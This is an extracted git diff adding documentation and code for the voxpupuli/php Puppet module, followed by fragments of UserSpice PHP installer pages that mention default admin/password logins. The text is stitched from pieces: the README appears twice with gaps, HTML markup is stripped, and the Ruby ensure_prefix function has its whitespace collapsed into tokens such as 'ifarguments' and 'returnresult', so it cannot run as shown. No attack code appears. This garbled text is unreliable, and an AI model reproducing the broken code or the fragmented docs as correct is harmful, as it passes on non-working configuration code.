+connect to php-fpm.
+
+
Facts
+
+
We deliver a phpversion fact with this module. This is explicitly NOT intended
+to be used within your puppet manifests as it will only work on your second puppet
+run. Its intention is to make querying PHP versions per server easy via PuppetDB or Foreman.
+
+
FreeBSD support
+
+
On FreeBSD systems we purge the system-wide extensions.ini in favour of
+per-module configuration files.
+
+
Please also note that support for Composer and PHPUnit on FreeBSD is untested
+and thus likely incomplete.
+
+
Running the test suite
+
+
To run the tests install the ruby dependencies with bundler and execute
+rake:
If you happen to stumble upon a bug, please feel free to create a pull request
+with a fix (optionally with a test), and a description of the bug and how it
+was resolved.
+
+
Or if you're not into coding, simply create an issue adding steps to let us
+reproduce the bug and we will happily fix it.
+
+
If you have a good idea for a feature or how to improve this module in general,
+please create an issue to discuss it. We are very open to feedback. Pull
+requests are always welcome.
+
+
We hate orphaned and unmaintained Puppet modules as much as you do and
+therefore promise that we will continue to maintain this module and keep
+response times to issues short. If we happen to lose interest, we will write
+a big fat warning into this README to let you know.
+
+
License
+
+
The project is released under the permissive MIT license.
As the original creators of puppet-php are no longer maintaining the module, it has been handed over into the care of Vox Pupuli.
+Please be sure to update all your links to the new location.
+
+
voxpupuli/php Puppet Module
+
+
voxpupuli/php is a Puppet module for managing PHP with a strong focus
+on php-fpm. The module aims to use sane defaults for the supported
+architectures. We strive to support all recent versions of Debian,
+Ubuntu, RedHat/CentOS, openSUSE/SLES and FreeBSD. Managing Apache
+with mod_php is not supported.
+
+
This originally was a fork of jippi/puppet-php
+(nodes-php on Puppet Forge) but has since been rewritten in large parts.
+
+
Usage
+
+
Quickest way to get started is simply include'ing the php class.
+
+
include '::php'
+
+
+
Or, you can override defaults and specify additional custom
+configurations by declaring class { '::php': } with parameters:
There are more configuration options available. Please refer to the
+auto-generated documentation at http://php.puppet.mayflower.de/.
+
+
Defining php.ini settings
+
+
PHP configuration parameters in php.ini files can be defined as parameter
+settings on the main php class, or php::fpm / php::cli classes,
+or php::extension resources for each component independently.
+
+
These settings are written into their respective php.ini file. Global
+settings in php::settings are merged with the settings of all components.
+Please note that settings of extensions are always independent.
+
+
In the following example the PHP options and timezone will be set in
+all PHP configurations, i.e. the PHP cli application and all php-fpm pools.
PHP configuration parameters in php.ini files can be defined
+as parameter extensions on the main php class. They are
+activated for all activated SAPIs.
See the documentation
+of the php::extension resource for all available parameters and default
+values.
+
+
Defining php-fpm pools
+
+
If different php-fpm pools are required, you can use php::fpm::pool
+defined resource type. A single pool called www will be configured
+by default. Specify additional pools like so:
On Debian-based systems, we use php5enmod to enable extension-specific
+configuration. This script is only present in php5 packages beginning with
+version 5.4. Furthermore, PHP 5.3 is not supported by upstream anymore.
+
+
We strongly suggest you use a recent PHP version, even if you're using an
+older though still supported distribution release. Our default is to have
+php::manage_repos enabled to add apt sources for
+Dotdeb on Debian and
+ppa:ondrej/php5 on
+Ubuntu with packages for the current stable PHP version closely tracking
+upstream.
+
+
Ubuntu systems and Ondřej's PPA
+
+
The older Ubuntu PPAs run by Ondřej have been deprecated (ondrej/php5, ondrej/php5.6)
+in favor of a new PPA: ondrej/php which contains all 3 versions of PHP: 5.5, 5.6, and 7.0
+Here's an example in hiera of getting PHP 5.6 installed with php-fpm, pear/pecl, and composer:
If you do not specify a php version, in Ubuntu the default will be 7.0 if you are
+running Xenial (16.04), otherwise PHP 5.6 will be installed (for other versions)
+
+
Apache support
+
+
Apache with mod_php is not supported by this module. Please use
+puppetlabs/apache instead.
+
+
We prefer using php-fpm. You can find an example Apache vhost in
+manifests/apache_vhost.pp that shows you how to use mod_proxy_fcgi to
+connect to php-fpm.
+
+
Facts
+
+
We deliver a phpversion fact with this module. This is explicitly NOT intended
+to be used within your puppet manifests as it will only work on your second puppet
+run. Its intention is to make querying PHP versions per server easy via PuppetDB or Foreman.
+
+
FreeBSD support
+
+
On FreeBSD systems we purge the system-wide extensions.ini in favour of
+per-module configuration files.
+
+
Please also note that support for Composer and PHPUnit on FreeBSD is untested
+and thus likely incomplete.
+
+
Running the test suite
+
+
To run the tests install the ruby dependencies with bundler and execute
+rake:
If you happen to stumble upon a bug, please feel free to create a pull request
+with a fix (optionally with a test), and a description of the bug and how it
+was resolved.
+
+
Or if you're not into coding, simply create an issue adding steps to let us
+reproduce the bug and we will happily fix it.
+
+
If you have a good idea for a feature or how to improve this module in general,
+please create an issue to discuss it. We are very open to feedback. Pull
+requests are always welcome.
+
+
We hate orphaned and unmaintained Puppet modules as much as you do and
+therefore promise that we will continue to maintain this module and keep
+response times to issues short. If we happen to lose interest, we will write
+a big fat warning into this README to let you know.
+
+
License
+
+
The project is released under the permissive MIT license.
Base class with global configuration parameters that pulls in all
+enabled components.
+
+
=== Parameters
+
+
[ensure]
+ Specify which version of PHP packages to install, defaults to 'present'.
+ Please note that 'absent' to remove packages is not supported!
+
+
[manage_repos]
+ Include repository (dotdeb, ppa, etc.) to install recent PHP from
+
+
[fpm]
+ Install and configure php-fpm
+
+
[fpm_service_enable]
+ Enable/disable FPM service
+
+
[fpm_service_ensure]
+ Ensure FPM service is either 'running' or 'stopped'
+
+
[fpm_service_name]
+ This is the name of the php-fpm service. It defaults to reasonable OS
+ defaults but can be different in case of using php7.0/other OS/custom fpm service
+
+
[fpm_service_provider]
+ This is the name of the service provider, in case there is a non
+ OS default service provider used to start FPM.
+ Defaults to 'undef', pick system defaults.
+
+
[fpm_pools]
+ Hash of php::fpm::pool resources that will be created. Defaults
+ to a single php::fpm::pool named www with default parameters.
+
+
[fpm_global_pool_settings]
+ Hash of defaults params php::fpm::pool resources that will be created.
+ Defaults to empty hash.
+
+
[fpm_inifile]
+ Path to php.ini for fpm
+
+
[fpm_package]
+ Name of fpm package to install
+
+
[fpm_user]
+ The user that php-fpm should run as
+
+
[fpm_group]
+ The group that php-fpm should run as
[proxy_type]
+ proxy server type (none|http|https|ftp)
+
+
[proxy_server]
+ specify a proxy server, with port number if needed. ie: https://example.com:8080.
+
+
[extensions]
+ Install PHP extensions, this is overwritten by hiera hash php::extensions
+
+
[package_prefix]
+ This is the prefix for constructing names of php packages. This defaults
+ to a sensible default depending on your operating system, like 'php-' or
+ 'php5-'.
+
+
[config_root_ini]
+ This is the path to the config .ini files of the extensions. This defaults
+ to a sensible default depending on your operating system, like
+ '/etc/php5/mods-available' or '/etc/php5/conf.d'.
+
+
[config_root_inifile]
+ The path to the global php.ini file. This defaults to a sensible default
+ depending on your operating system.
+
+
[ext_tool_enable]
+ Absolute path to php tool for enabling extensions in debian/ubuntu systems.
+ This defaults to '/usr/sbin/php5enmod'.
+
+
[ext_tool_query]
+ Absolute path to php tool for querying information about extensions in
+ debian/ubuntu systems. This defaults to '/usr/sbin/php5query'.
+
+
[ext_tool_enabled]
+ Enable or disable the use of php tools on debian based systems
+ debian/ubuntu systems. This defaults to 'true'.
+
+
[log_owner]
+ The php-fpm log owner
+
+
[log_group]
+ The group owning php-fpm logs
+
+
[embedded]
+ Enable embedded SAPI
+
+
[pear_ensure]
+ The package ensure of PHP pear to install and run pear auto_discover
[service_ensure]
+ Ensure FPM service is either 'running' or 'stopped'
+
+
[service_name]
+ This is the name of the php-fpm service. It defaults to reasonable OS
+ defaults but can be different in case of using php7.0/other OS/custom fpm service
+
+
[service_provider]
+ This is the name of the service provider, in case there is a non
+ OS default service provider used to start FPM.
+ Defaults to 'undef', pick system defaults.
+
+
[pools]
+ Hash of php::fpm::pool resources that will be created. Defaults
+ to a single php::fpm::pool named www with default parameters.
+
+
[log_owner]
+ The php-fpm log owner
+
+
[log_group]
+ The group owning php-fpm logs
+
+
[package]
+ Specify which package to install
+
+
[ensure]
+ Specify which version of the package to install
+
+
[inifile]
+ Path to php.ini for fpm
+
+
[settings]
+ fpm settings hash
+
+
[global_pool_settings]
+ Hash of defaults params php::fpm::pool resources that will be created.
+ Defaults is empty hash.
# File 'manifests/pear.pp', line 11
+
+class php::pear (
+ String $ensure = $::php::pear_ensure,
+ Optional[String] $package = undef,
+) inherits ::php::params {
+
+ if $caller_module_name != $module_name {
+ warning('php::pear is private')
+ }
+
+ # Defaults for the pear package name
+ if $package {
+ $package_name = $package
+ } else {
+ case $facts['os']['family'] {
+ 'Debian': {
+ # Debian is a litte stupid: The pear package is called 'php-pear'
+ # even though others are called 'php5-fpm' or 'php5-dev'
+ $package_name = "php-${::php::params::pear_package_suffix}"
+ }
+ 'Amazon': {
+ # On Amazon Linux the package name is also just 'php-pear'.
+ # This would normally not be problematic but if you specify a
+ # package_prefix other than 'php' then it will fail.
+ $package_name = "php-${::php::params::pear_package_suffix}"
+ }
+ 'FreeBSD': {
+ # On FreeBSD the package name is just 'pear'.
+ $package_name = $::php::params::pear_package_suffix
+ }
+ default: {
+ # This is the default for all other architectures
+ $package_name = "${::php::package_prefix}${::php::params::pear_package_suffix}"
+ }
+ }
+ }
+
+ # Default PHP come with xml module and no seperate package for it
+ if $facts['os']['name'] == 'Ubuntu' and versioncmp($facts['os']['release']['full'], '16.04') >= 0 {
+ ensure_packages(["${php::package_prefix}xml"], {
+ ensure => present,
+ require => Class['::apt::update'],
+ })
+
+ package { $package_name:
+ ensure => $ensure,
+ require => [Class['::apt::update'],Class['::php::cli'],Package["${php::package_prefix}xml"]],
+ }
+ } else {
+ package { $package_name:
+ ensure => $ensure,
+ require => Class['::php::cli'],
+ }
+ }
+}
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Aphpunit.html b/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Aphpunit.html
new file mode 100644
index 000000000..582bc4160
--- /dev/null
+++ b/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php_3A_3Aphpunit.html
@@ -0,0 +1,248 @@
+
+
+
+
+
+
+ Puppet Class: php::phpunit
+
+ — Documentation by YARD 0.9.9
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
[ensure]
+ The ensure of the package to install
+ Could be "latest", "installed" or a pinned version
+
+
[package_prefix]
+ Prefix to prepend to the package name for the package provider
+
+
[provider]
+ The provider used to install the package
+ Could be "pecl", "apt", "dpkg" or any other OS package provider
+ If set to "none", no package will be installed
+
+
[source]
+ The source to install the extension from. Possible values
+ depend on the provider used
+
+
[so_name]
+ The DSO name of the package (e.g. opcache for zendopcache)
+
+
[ini_prefix]
+ An optional filename prefix for the settings file of the extension
+
+
[php_api_version]
+ This parameter is used to build the full path to the extension
+ directory for zend_extension in PHP < 5.5 (e.g. 20100525)
+
+
[header_packages]
+ System packages dependencies to install for extensions (e.g. for
+ memcached libmemcached-dev on Debian)
+
+
[compiler_packages]
+ System packages dependencies to install for compiling extensions
+ (e.g. build-essential on Debian)
+
+
[zend]
+ Boolean parameter, whether to load extension as zend_extension.
+ Defaults to false.
+
+
[settings]
+ Nested hash of global config parameters for php.ini
+
+
[settings_prefix]
+ Boolean/String parameter, whether to prefix all setting keys with
+ the extension name or specified name. Defaults to false.
+
+
[sapi]
+ String parameter, whether to specify ALL sapi or a specific sapi.
+ Defaults to ALL.
[ensure]
+ The ensure of the package to install
+ Could be "latest", "installed" or a pinned version
+
+
[provider]
+ The provider used to install the package
+ Could be "pecl", "apt", "dpkg" or any other OS package provider
+ If set to "none", no package will be installed
+
+
[so_name]
+ The DSO name of the package (e.g. opcache for zendopcache)
+
+
[ini_prefix]
+ An optional filename prefix for the settings file of the extension
+
+
[php_api_version]
+ This parameter is used to build the full path to the extension
+ directory for zend_extension in PHP < 5.5 (e.g. 20100525)
+
+
[header_packages]
+ System packages dependencies to install for extensions (e.g. for
+ memcached libmemcached-dev on Debian)
+
+
[compiler_packages]
+ System packages dependencies to install for compiling extensions
+ (e.g. build-essential on Debian)
+
+
[zend]
+ Boolean parameter, whether to load extension as zend_extension.
+ Defaults to false.
+
+
[settings]
+ Nested hash of global config parameters for php.ini
+
+
[settings_prefix]
+ Boolean/String parameter, whether to prefix all setting keys with
+ the extension name or specified name. Defaults to false.
+
+
[sapi]
+ String parameter, whether to specify ALL sapi or a specific sapi.
+ Defaults to ALL.
[ensure]
+ The ensure of the package to install
+ Could be "latest", "installed" or a pinned version
+
+
[package_prefix]
+ Prefix to prepend to the package name for the package provider
+
+
[provider]
+ The provider used to install the package
+ Could be "pecl", "apt", "dpkg" or any other OS package provider
+ If set to "none", no package will be installed
+
+
[source]
+ The source to install the extension from. Possible values
+ depend on the provider used
+
+
[header_packages]
+ System packages dependencies to install for extensions (e.g. for
+ memcached libmemcached-dev on Debian)
+
+
[compiler_packages]
+ System packages dependencies to install for compiling extensions
+ (e.g. build-essential on Debian)
[ensure]
+ Remove pool if set to 'absent', add otherwise
+
+
[listen]
+ On what socket to listen for FastCGI connections, i.e.
+ '127.0.0.1:9000'' or'/var/run/php5-fpm.sock'`
+
+
[listen_backlog]
+
+
[listen_allowed_clients]
+
+
[listen_owner]
+ Set owner of the Unix socket
+
+
[listen_group]
+ Set the group of the Unix socket
+
+
[listen_mode]
+
+
[user]
+ The user that php-fpm should run as
+
+
[group]
+ The group that php-fpm should run as
+
+
[pm]
+
+
[pm_max_children]
+
+
[pm_start_servers]
+
+
[pm_min_spare_servers]
+
+
[pm_max_spare_servers]
+
+
[pm_max_requests]
+
+
[pm_process_idle_timeout]
+
+
[pm_status_path]
+
+
[ping_path]
+
+
[ping_response]
+
+
[access_log]
+ The path to the file to write access log requests to
+
+
[access_log_format]
+ The format to save the access log entries as
+
+
[request_terminate_timeout]
+
+
[request_slowlog_timeout]
+
+
[security_limit_extensions]
+
+
[slowlog]
+
+
[template]
+ The template to use for the pool
+
+
[rlimit_files]
+
+
[rlimit_core]
+
+
[chroot]
+
+
[chdir]
+
+
[catch_workers_output]
+
+
[include]
+ Other configuration files to include on this pool
+
+
[env]
+ List of environment variables that are passed to the php-fpm from the
+ outside and will be available to php scripts in this pool
+
+
[env_value]
+ Hash of environment variables and values as strings to use in php
+ scripts in this pool
+
+
[options]
+ An optional hash for any other data.
+
+
[php_value]
+ Hash of php_value directives
+
+
[php_flag]
+ Hash of php_flag directives
+
+
[php_admin_value]
+ Hash of php_admin_value directives
+
+
[php_admin_flag]
+ Hash of php_admin_flag directives
+
+
[php_directives]
+ List of custom directives that are appended to the pool config
+
+
[root_group]
+ UNIX group of the root user
+
+
[base_dir]
+ The folder that contains the php-fpm pool configs. This defaults to a
+ sensible default depending on your operating system, like
+ '/etc/php5/fpm/pool.d' or '/etc/php-fpm.d'
# File 'lib/puppet/parser/functions/ensure_prefix.rb', line 3
+
+newfunction(:ensure_prefix,type::rvalue,doc:<<-EOS
+ This function ensures a prefix for all elements in an array or the keys in a hash.
+
+ *Examples:*
+
+ ensure_prefix({'a' => 1, 'b' => 2, 'p.c' => 3}, 'p.')
+
+ Will return:
+ {
+ 'p.a' => 1,
+ 'p.b' => 2,
+ 'p.c' => 3,
+ }
+
+ ensure_prefix(['a', 'p.b', 'c'], 'p.')
+
+ Will return:
+ ['p.a', 'p.b', 'p.c']
+EOS
+)do|arguments|
+ ifarguments.size<2
+ raise(Puppet::ParseError,'ensure_prefix(): Wrong number of arguments ' \
+ "given (#{arguments.size} for 2)")
+ end
+
+ enumerable=arguments[0]
+
+ unlessenumerable.is_a?(Array)||enumerable.is_a?(Hash)
+ raisePuppet::ParseError,"ensure_prefix(): expected first argument to be an Array or a Hash, got #{enumerable.inspect}"
+ end
+
+ prefix=arguments[1]ifarguments[1]
+
+ ifprefix
+ unlessprefix.is_a?(String)
+ raisePuppet::ParseError,"ensure_prefix(): expected second argument to be a String, got #{prefix.inspect}"
+ end
+ end
+
+ result=ifenumerable.is_a?(Array)
+ # Turn everything into string same as join would do ...
+enumerable.mapdo|i|
+ i=i.to_s
+ prefix&&!i.start_with?(prefix)?prefix+i:i
+ end
+ else
+ Hash[enumerable.mapdo|k,v|
+ k=k.to_s
+ [prefix&&!k.start_with?(prefix)?prefix+k:k,v]
+ end]
+ end
+
+ returnresult
+end
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/modules/utilities/unix/web_frameworks/php/docs/puppet_functions_ruby3x/to_hash_settings.html b/modules/utilities/unix/web_frameworks/php/docs/puppet_functions_ruby3x/to_hash_settings.html
new file mode 100644
index 000000000..973706b7a
--- /dev/null
+++ b/modules/utilities/unix/web_frameworks/php/docs/puppet_functions_ruby3x/to_hash_settings.html
@@ -0,0 +1,224 @@
+
+
+
+
+
+
+ Puppet Function: to_hash_settings (Ruby 3.x API)
+
+ — Documentation by YARD 0.9.9
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
This function converts a +=> value+ hash into a nested hash and can add an id to the outer key.
+The optional id string as second parameter is prepended to the resource name.
+Go to Logout Page';
+// $notifications->addNotification($msg, $user->data()->id);
+ ?>
+
+
+
Step 1: Change your password!
+
You're going to login with the default username of admin and the default password of password.
+ You can also login as a standard level user with the credentials of user and password.
+ If you cannot login for some reason, edit the login.php file and uncomment out the lines error_reporting(E_ALL);
+ ini_set('display_errors', 1); to see if there are any errors in your server configuration.
+
+
+
+
+
+
Step 2: Change some settings
+
You want to go to the Admin Dashboard. From there you can personalize your settings.
+ You can decide whether or not you want to use reCaptcha, force SSL, or mess with some CSS.
+
+
+
+
+
+
+
+
+
Step 3: Explore
+
From the Admin Dashboard, you can go to Admin Permissions and add some new user levels.
+ Then check out Admin Pages to decide which pages are private and which are public. Once you make a page private,
+ you can decide how what level of access someone needs to access it.
+ Any new pages you create in your site folder will automatically show up here.
+
+
+
+
+
+
Step 4: Check out the other resources
+
The users/blank_pages folder contains a blank version of this page and one with the sidebar
+ included for your convenience. There are also special_blanks that you can drop into your site folder and load up to
+ check out all the things you can do with Bootstrap.
+
+
+
+
+
+
+
+
+
Step 5: Design and secure your own pages
+
Of course, using our blanks is the quickest way to get up and running,
+ but you can also secure any page. Simply add this php code to the top of your page and it will
+ perform a check to see if you've set any special permissions.
+ require_once 'users/init.php';
+ require_once $abs_us_root.$us_url_root.'users/includes/header.php';
+ require_once $abs_us_root.$us_url_root.'users/includes/navigation.php';
+ if (!securePage($_SERVER['PHP_SELF'])){die();}
+
+
+
+
+
+
Step 6: Check out the forums and documentation at UserSpice.com
+
That's where the latest options are and you can find people willing to help.
+ No account is required for browsing the forums, but you will need to sign up to be able to post.
+
+
+
+
+
+
+
+
+
Step 7: Replace this ugly homepage with your own beautiful creation
But what if you want to change the UserSpice files?
+ We have a solution that lets you edit our files and still not break future upgrades.
+ For instance, if you want to modify the account.php file... just copy our file into
+ the "usersc" folder. Then you can edit away and your file will be loaded instead of ours!
+
+
+
+
+
+
+
+
UserSpice is built using Twitter's Bootstrap,
+ so it is fully responsive and there is tons of documentation. The look and the feel can be changed very easily.
+
Consider checking out Bootsnipp to see all the widgets and tools you can
+ easily drop into UserSpice to get your project off the ground.
+
If you made it this far, everything SHOULD be good to go. If you see any errors above, you will want to navigate to the install folder, and delete it manually. Don't forget to check out UserSpice.com if you need any help. Click the button below to make sure you have the latest updates to your database.
+ This program will walk you through the entire process of configuring =$app_name?>. Before you proceed, you might want to make sure that you're ready to do the install.
+
+ If you have not already created a new database, please do so at this time. Make sure that you have the Host Name, Username, Password, and Database name handy, as you will need them to complete the install.
+
System Requirement Check
+
+
+
We're sorry, but your PHP version is out of date. Please update to PHP =$php_ver?> or later to continue.
+PHP Website
+
+
Your PHP version meets the minimum system requirements of =$php_ver?> or later, but you need to make sure your system meets all the rest of the requirements. If you see any red in the table below, please correct those issues before installing.
+
+
+
+
+ PHP version >= =$php_ver?>
+
+
+
+ No
+
+ Yes
+
+
+
+
+ XML support
+
+
+
+ Available
+
+ Unavailable
+
+
+
+
+
+ MySQLi support
+
+
+
+ Available
+
+ Unavailable
+
+
+
+
+
+ PDO support
+
+
+
+ Available
+
+ Unavailable
+
+
+
+
+
+ Is =$config_file?> writeable?
+
+
+ Writeable';
+ } else {
+ $errors = 1;
+ ?>
+ Unwriteable
+
+ It is really important that you be able to write to the init file! If you don't know how to chmod your init file, please read this guide at UserSpice.com.
+
+
+
+
+
+
+
+
+
+
+
+
Additional Recommended Settings
+
+
+ =$app_name?> Will most likely work regardless of the settings below, however these settings are suggested.
+
+
+
+
+ Setting
+
+
+ Recommended
+
+
+ Actual
+
+
+
+
+
+ =$phprec[0]; ?>:
+
+
+ =$phprec[2]; ?>:
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ By clicking continue, you are stating that you agree with the terms of the =$app_name?> License.
+
+ You have errors listed in the System Requirement Check that must be corrected before continuing. If you have an unwritable =$config_file?>, it is suggested that you chmod that file to 666 for installation and then chmod it to 644 after installation. please read this guide, or if you are comfortable importing a SQL dump and editing an init.php file manually, you can follow the "if install fails" instructions in the root folder.
+
+
+